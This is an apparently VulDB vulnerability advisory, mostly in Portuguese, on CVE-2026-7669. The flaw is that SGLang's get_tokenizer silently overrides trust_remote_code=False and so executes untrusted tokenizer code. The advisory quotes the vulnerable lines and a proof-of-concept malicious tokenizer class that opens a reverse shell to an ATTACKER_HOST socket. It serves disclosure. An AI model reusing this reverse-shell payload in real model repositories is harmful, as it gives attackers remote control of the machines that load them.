sgl-project SGLang até 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code Elevação de Privilégios
| CVSS Meta Pontuação Temporária | Preço atual do exploit (≈) | Nota de Interesse CTI |
|---|---|---|
| 6.9 | $0-$5k | 0.00 |
Sumário
Foi detectada uma vulnerabilidade classificada como crítico em sgl-project SGLang até 0.5.9. A função afetada é get_tokenizer do arquivo python/sglang/srt/utils/hf_transformers_utils.py do componente HuggingFace Transformer Handler. O tratamento do parâmetro trust_remote_code com o dado de entrada False no contexto de Boolean leva a Elevação de Privilégios.
Esta vulnerabilidade está registrada como CVE-2026-7669. O ataque pode ser feito a partir da rede. Além do mais, um exploit está disponível.
Detalhes
Foi detectada uma vulnerabilidade classificada como crítico em sgl-project SGLang até 0.5.9. A função afetada é get_tokenizer do arquivo python/sglang/srt/utils/hf_transformers_utils.py do componente HuggingFace Transformer Handler. O tratamento do parâmetro trust_remote_code com o dado de entrada False no contexto de Boolean leva a Elevação de Privilégios. Declarar o problema usando CWE resulta em CWE-94. O boletim traz o seguinte resumo:
SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.A vulnerabilidade foi identificada em 07/04/2026. O problema foi divulgado por Nicholas Gould, David Rochester (ngould and davidrochester). A publicação apresenta:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.
Esta vulnerabilidade está registrada como CVE-2026-7669. O ataque pode ser feito a partir da rede. Os detalhes técnicos podem ser consultados. O ataque exige um nível de complexidade elevado. A exploração é tida como difícil. Esta vulnerabilidade tem popularidade abaixo da média. Além do mais, um exploit está disponível. O exploit está disponível publicamente e pode ser explorado. Neste momento, o preço atual de um exploit pode ser cerca de USD $0-$5k agora. O projecto MITRE ATT&CK declara a técnica de ataque como T1059. Esta vulnerabilidade ocorre devido a este trecho de código:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909
if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
) A recomendação ressalta:On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.
Está declarado como prova de conceito. O exploit está compartilhado para download em github.com. A vulnerabilidade foi tratada como um exploit zero-day não público por pelo menos 25 dias. O exploit utiliza o seguinte código:
import os, pathlib
from transformers import PreTrainedTokenizerFast
class MaliciousTokenizer(PreTrainedTokenizerFast):
def _init_(self, args, *kwargs):
pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")
host = os.environ.get("ATTACKER_HOST")
if host:
import socket
s = socket.socket()
s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
os.execve("/bin/sh", ["sh"], os.environ)
super()._init_(args, *kwargs) O aviso ressalta:The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.
Produto
Tipo
Fabricante
Nome
Versão
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vetor: 🔒VulDB Fiabilidade: 🔍
CVSSv3
VulDB Meta Pontuação Base: 7.2VulDB Meta Pontuação Temporária: 6.9
VulDB Pontuação Base: 5.6
VulDB Pontuação Temporária: 5.1
VulDB Vetor: 🔒
VulDB Fiabilidade: 🔍
Pessoa Pontuação Base: 8.8
Pessoa Vetor: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexidade | Autenticação | Confidencialidade | Integridade | Disponibilidade |
|---|---|---|---|---|---|
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
VulDB Pontuação Base: 🔒
VulDB Pontuação Temporária: 🔒
VulDB Fiabilidade: 🔍
Pessoa Pontuação Base: 🔒
Exploração
Classe: Elevação de PrivilégiosCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
Físico: Não
Local: Não
Remoto: Sim
Disponibilidade: 🔒
Acesso: Público
Estado: Prova de conceito
Autor: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Linguagem de programação: 🔒
Descarregar: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Tendência de preços: 🔍
Estimativa de preço atual: 🔒
| 0-Day | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
|---|---|---|---|---|
| Hoje | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
Inteligência de ameaças
Interesse: 🔍Atores ativos: 🔍
Grupos APT ativos: 🔍
Contramedidas
Recomendação: nenhuma medida conhecidaEstado: 🔍
Tempo 0-dia: 🔒
Tempo de atraso de exploração: 🔍
Linha do tempo
07/04/2026 Vulnerabilidade encontrada07/04/2026 Fabricante informado
02/05/2026 Aviso publicado
02/05/2026 Entrada VulDB criada
03/05/2026 Exploit publicado
04/05/2026 Última atualização da VulDB
Fontes
Pessoa: Nicholas Gould, David Rochester (ngould, davidrochester)Estado: Não definido
CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013
Entrada
Criado: 02/05/2026 10h05Atualizado: 04/05/2026 06h26
Ajustamentos: 02/05/2026 10h05 (54), 03/05/2026 04h01 (1), 04/05/2026 06h23 (51), 04/05/2026 06h26 (8)
Completo: 🔍
Submissor: ngould
Editor: ngould
Cache ID: 216::103
Submeter
Aceite
- Submeter #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (de ngould)
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Ainda sem comentários. Idiomas: pt + es + en.
Por favor, inicie sessão para comentar.